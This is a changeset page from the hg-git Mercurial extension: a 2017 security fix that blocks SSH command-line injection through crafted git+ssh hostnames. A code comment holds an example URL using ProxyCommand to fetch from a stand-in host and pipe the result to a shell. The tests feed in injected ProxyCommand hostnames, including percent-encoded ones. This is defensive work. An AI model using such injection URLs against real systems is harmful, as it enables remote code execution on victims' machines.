Mercurial > hg > hg-git
changeset 1043:b4d2180739bb
ssh: avoid SSH command-line injection [SEC]
author | Sean Farley <sean@farley.io> |
---|---|
date | Fri, 04 Aug 2017 14:34:57 -0700 |
parents | c96bf9e61598 |
children | 9b09dd0a6308 |
files | hggit/git_handler.py hggit/util.py tests/test-git-clone.t |
diffstat | 3 files changed, 36 insertions(+), 1 deletions(-) [+] |
line wrap: on
line diff
--- a/hggit/git_handler.py +++ b/hggit/git_handler.py @@ -1675,10 +1675,11 @@ git_match = RE_GIT_URI.match(uri) if git_match: res = git_match.groupdict() + host, port, sepr = res['host'], res['port'], res['sepr'] transport = client.TCPGitClient if 'ssh' in res['scheme']: + util.checksafessh(host) transport = client.SSHGitClient - host, port, sepr = res['host'], res['port'], res['sepr'] path = res['path'] if sepr == '/' and not path.startswith('~'): path = '/' + path
--- a/hggit/util.py +++ b/hggit/util.py @@ -1,6 +1,7 @@ """Compatibility functions for old Mercurial versions and other utility functions.""" import re +import urllib try: from collections import OrderedDict @@ -8,7 +9,10 @@ from ordereddict import OrderedDict from dulwich import errors +from mercurial.i18n import _ from mercurial import ( + encoding, + error, lock as lockmod, util as hgutil, ) @@ -119,3 +123,18 @@ tr.close() finally: lockmod.release(tr, lock, wlock) + +def checksafessh(host): + """check if a hostname is a potentially unsafe ssh exploit (SEC) + + This is a sanity check for ssh urls. ssh will parse the first item as + an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. + Let's prevent these potentially exploited urls entirely and warn the + user. + + Raises an error.Abort when the url is unsafe. + """ + host = urllib.unquote(host) + if host.startswith('-') or '|' in host: + raise error.Abort(_('potentially unsafe hostname: %r') % + (host,))
--- a/tests/test-git-clone.t +++ b/tests/test-git-clone.t @@ -36,3 +36,18 @@ * master 1:7fe02317c63d $ hg -R hgrepo gverify verifying rev 7fe02317c63d against git commit 9497a4ee62e16ee641860d7677cdb2589ea15554 + +test for ssh vulnerability + + $ hg clone 'git+ssh://-oProxyCommand=rm${IFS}nonexistent/path' | grep -v 'destination\|pulling from' + abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent' + [1] + $ hg clone 'git+ssh://%2DoProxyCommand=rm${IFS}nonexistent/path' | grep -v 'destination\|pulling from' + abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent' + [1] + + $ hg init a + $ cd a + $ hg pull 'git+ssh://-oProxyCommand=rm${IFS}nonexistent/path' | grep -v 'destination\|pulling from' + abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent' + [1]